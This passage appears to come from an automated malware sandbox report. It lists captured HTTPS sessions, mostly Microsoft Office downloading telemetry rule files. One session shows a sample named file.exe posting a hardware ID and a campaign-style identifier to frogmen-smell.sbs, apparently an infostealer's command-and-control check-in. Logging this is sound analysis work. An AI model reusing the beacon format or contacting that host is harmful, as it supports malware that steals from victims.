22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d980b71d-401e-000a-13a8-344a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162427Z-1749fc9bdbdht5mthC1DFWph9000000002t000000000phe7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: dcb3d461-101e-000b-6d69-355e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162427Z-1749fc9bdbdns7kfhC1DFWb6c400000002u000000000hsu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:27 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 162cf1ac-401e-002a-0c09-2dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162427Z-16547b76f7f22sh5hC1DFWyb4w0000000ks000000000p070 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: b6f995a6-501e-0016-10a7-34181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162428Z-1749fc9bdbddrtrhhC1DFWsq8000000002y0000000005za9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ad594543-c01e-0082-44a1-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162428Z-r178fb8d765mr9nqhC1DFWs8m800000000z000000000kv2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 50e8b97d-601e-0070-17a0-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162428Z-r178fb8d7657w5c5hC1DFW5ngg00000002w000000000desv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49780	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:28 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=798N3EUVPBZ3D71WXA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: frogmen-smell.sbs
2024-11-14 16:24:28 UTC	1221	OUT	Data Raw: 2d 2d 37 39 38 4e 33 45 55 56 50 42 5a 33 44 37 31 57 58 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 45 35 33 30 34 45 44 37 32 35 39 45 33 36 45 38 45 30 42 45 41 31 34 45 35 33 34 33 37 38 0d 0a 2d 2d 37 39 38 4e 33 45 55 56 50 42 5a 33 44 37 31 57 58 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 39 38 4e 33 45 55 56 50 42 5a 33 44 37 31 57 58 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --798N3EUVPBZ3D71WXAContent-Disposition: form-data; name="hwid"E7E5304ED7259E36E8E0BEA14E534378--798N3EUVPBZ3D71WXAContent-Disposition: form-data; name="pid"1--798N3EUVPBZ3D71WXAContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-14 16:24:28 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fdj6u61716ut5bresmpfm305sr; expires=Mon, 10-Mar-2025 10:11:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jAZA40S%2FVuUtDZsIeUbm62Z8Hu2a6jeDi%2FvJ7PANYOYDEc0cYebslH8jc13Jrp6hUKhUsLZ7j0C4rEPqXNZjSSHAaKDgNfcnqugps7HPJHwc1Uues6DBuuaIKk83X4hSdFZg2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e285a19ed674772-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1885&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2139&delivery_rate=1585980&cwnd=239&unsent_bytes=0&cid=44906b99e1aa806b&ts=547&x=0"
2024-11-14 16:24:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 0d 0a Data Ascii: 11ok 173.254.250.91
2024-11-14 16:24:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:28 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 50fcf232-201e-0085-635e-3534e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162428Z-r178fb8d7654njfdhC1DFWd04800000002rg00000000ap7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a2911e08-e01e-003c-21a2-34c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162428Z-r178fb8d765bflfthC1DFWuy9n00000002xg000000006b15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: ff05c3d8-901e-0016-6f40-36efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162428Z-1749fc9bdbds4vwlhC1DFWz44000000002qg00000000a9b3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 50ec53c4-601e-0070-35a1-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162429Z-r178fb8d765th6bkhC1DFWr7h000000002tg00000000sd49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:29 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
